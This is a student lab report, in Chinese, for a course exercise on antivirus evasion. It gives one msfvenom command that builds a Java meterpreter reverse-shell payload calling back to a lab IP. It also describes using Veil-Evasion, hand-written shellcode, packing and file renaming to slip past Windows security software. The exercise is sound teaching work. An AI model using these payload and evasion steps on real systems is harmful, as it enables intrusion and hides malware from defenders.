2017-2018-4 20155203《网络对抗技术》Exp3 免杀原理与实践
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码
(2)免杀是做什么?
使恶意代码避免被查杀,也就是要掩盖恶意代码的特征
(3)免杀的基本方法有哪些?
免杀大概可以分为两种情况:
- 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
- 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。
免杀也可以分为这两种情况:
- 静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。
- 动态行为免杀,运行中执行的某些行为被杀毒软件拦截报读。
2.实践过程记录
2.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
- 首先先把上次的后门放在virscan.org上检测一下。
- 生成jar
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.230.144 lport=5203 x> dkxshell.jar
- 下载veil-evasion:
很多人这里可能会出问题,这里推荐一个源:kali国内更新源。更换你的源,并按照这个更新源教程操作更新你的源,然后按照veil安装教程按照veil使用教程找一个网快且稳定的地方做,中间出现什么错误先不要管,只要运行的时候能看到“2 tools ...”"41 payload..."就可以用啦(这句话里很多链接因为模板问题,没有标注,在全文最后有总结).可能大家在安装后再次打开的时候会发现,还需要下载,这个时候输入n(NO)如果报错,就打开/tools/Veil/,运行Veil.py,应该就成功啦。
把Veil生成的小程序放在Win10下,哇厉害了我的电脑管家~
这个安装半天的免杀平台查杀率还是很高,失去假笑。。。
- shellcode编程
可以看到查杀的概率还是很高的
- 用C语言编的shellcode攻击win10
是这样的我只能在win10上下载VS(相信大家也不能在Win7上安装)所以我关闭了防火墙、杀毒软件,先ping通,回连成功!
- linux交叉编译
- 加壳
概率很高嘛,一会尝试一下压缩veil的可执行文件
2.2 通过组合应用各种技术实现恶意代码免杀
- 加壳+veil-evasion
哇好优秀啊,只有这么一点点,可是我的电脑管家更优秀,我刚放进去就被它识别了,可是我很怀疑,于是我就给它改了个名字。。。然后win10的电脑管家就识别不了了,但win7的电脑管家可以。。。保持假笑。。。我再改(memedadkx)!成了。
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
这个任务和上面那个有什么区别呢。。。
版本:
3.离实战还缺些什么技术或步骤?
大家现在用这种非常初级的Win7的已经很少,而且都会用杀毒软件定期清理查杀,成功的概率要更小。而且免杀的方法并不具有普适性,还需要改进
4.实践总结与体会
Veil-evasion安装教程总结: